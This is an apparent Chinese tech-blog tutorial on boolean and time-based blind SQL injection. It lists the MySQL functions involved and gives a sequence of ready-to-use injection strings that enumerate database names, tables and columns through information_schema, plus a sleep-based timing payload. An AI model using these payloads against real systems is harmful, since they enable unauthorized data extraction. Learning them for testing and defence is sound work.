首页 > 数据库 >#yyds干货盘点#SQL注入之布尔注入原理

#yyds干货盘点#SQL注入之布尔注入原理

时间:2023-09-14 10:34:49浏览次数:56  
标签:返回 yyds NAME str SQL TABLE 盲注 注入

布尔注入定义及原理:
所谓盲注就是在服务器没有错误回显的时候完成注入公鸡。
盲注分为布尔盲注和时间盲注
布尔盲注:boolean 根据注入信息返回true or fales 没有任何报错信息
时间盲注:界面返回值ture 无论输入任何值,返回的情况都是正常的来处。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

布尔注入常用函数

length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

过程

1.首先我们需要判断数据库长度 
' or Length(database()) = 8 #返回true说明数据库长度为8
2.获取数据库名字
' or ord(mid(database(),1,1)) ='ascill值'#
依次获取
3.获取表的总数
' or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2#
4.获取表的长度(第一个表)
' or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 )= (猜测得长度)#
5.获取表的内容
' or  mid((select TABLE_NAME from information_schema.TABLES where 
TABLE_SCHEMA=database() limit 0,1),1,1)   = 'a' #
6.获取表的字段的总数
' or  (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=表名 ) = 8#8返回true说明有8个表
依次类推,最后推出内容。因为是盲猜所以只能这样一个一个去推手工比较麻烦 通常使用sqlmap进行注入

延时注入
要是页面都返回false我们就只能用if和sleep函数判断是ture还是false
正确就延迟n秒返回,错误就0s返回

id=2 and  Sleep( if(  (SELECT count(SCHEMA_NAME) FROM information_schema.SCHEMATA) = 7  ,0,5 )                         )好像这个是说如果数据库总数等于7的话0s返回否则5s

其他操作就跟布尔注入一样,走布尔思路就行了。

标签:返回,yyds,NAME,str,SQL,TABLE,盲注,注入
From: https://blog.51cto.com/u_11365839/7467986

相关文章

  • SQL Server: How to insert million numbers to table fast?
    YesterdayIattendedatlocalcommunityeveningwhereoneofthemostfamousEstonianMVPs–HennSarv–spokeaboutSQLServerqueriesandperformance.DuringthissessionwesawverycooldemosandinthispostingIwillintroduceyo......
  • SQL Server 远程跨数据库服务器查询、导入数据(SQL)
    /*1、创建链接服务器查询*/--创建链接服务器execsp_addlinkedserver'remote_server','','SQLOLEDB','远程服务器名或ip地址'execsp_addlinkedsrvlogin'remote_server','false',null,'用户名','密码'--查询示例......
  • MySQL+MHA搭建&&性能优化
    MHA基础概念MHAMHA(MasterHighAvailability)是一套优秀的MySQL高可用环境下故障切换和主从复制的软件。MHA的出现就是解决MySQL单点的问题。MySQL故障切换过程中,MHA能做到0-30秒内自动完成故障切换操作。MHA能在故障切换的过程中最大程度上保证数据的一致性,以达到真正意义上......
  • gorm stdErr = sql: Scan error on column index 0, name "total": converting NULL
    前言使用gorm查询时,报错:stdErr=sql:Scanerroroncolumnindex0,name"total":convertingNULLtofloat64isunsupported代码如下vartotalfloat64res:=db.Model(&model.Record{}).Select("sum(amount)astotal").Where("id=?andtyp......
  • mysql函数
     https://www.jb51.net/article/256828.htm#_label19 ......
  • ubuntu22.04安装并初始化postgresql
    ubuntu22.04自带其实是有数据库的,通过以下命令可以查看当前数据库的版本信息aptshowpostgresql 如果要安装新的数据库,可以执行以下命令sudoaptupdatesudoaptinstallpostgresqlpostgresql-contribpostgresql-contrib或者说contrib包,包含一些不属于P......
  • oracle中sql语句运行缓慢如何处理
    查看执行计划,查看句子消耗的资源和内部运行的逻辑,给数据量非常大的表格建立分区,查看有没有导致索引失效的语句,语句频繁对硬盘进行读写,可以将语句写成代码块(存储过程),减少硬盘I/O次数,使用优化器进行并行处理。当Oracle中的SQL语句运行缓慢时,可以采取以下几种处理方法:优化SQL语句:通过......
  • 执行一条 SQL 查询语句,期间发生了什么?
    执行一条SQL查询语句,期间发生了什么?连接器:建立连接,身份验证查询缓存:已经在mysql8.0被删除解析sql词法分析,解析关键词语法分析,根据词法分析得出的关键词判断语法是否有问题建立语法树执行sql预处理,检查表名和表字段是否存在,将select*的*转为全部字段优化,对sql语......
  • MySQL数据存放相关问题?
    MySQL的数据存放在哪个文件?MySQL的数据存放在哪个文件?存放在idb文件中表空间文件的结构是怎么样的?段-区-页-行,四个等级行:保存数据的最小单位页:mysql按照页读取数据,默认页大小为16KB区:B+树中每一层都是通过双向链表连接起来的,如果是以页为单位来分配存储空间,那么链表中......
  • Spring - DI 依赖注入和 IoC 容器
    前言先理解DI依赖注入再理解Ioc容器更好,不应该先理解IoC容器再理解DI依赖注入。这两个东西必须要放在一起讲,但是又要分好顺序去理解。理解之前不能先看概念,非常地抽象,应该从“为什么”起理解。总而言之,这个两个东西的出现是为了降低程序的耦合度。DI依赖注入Java里......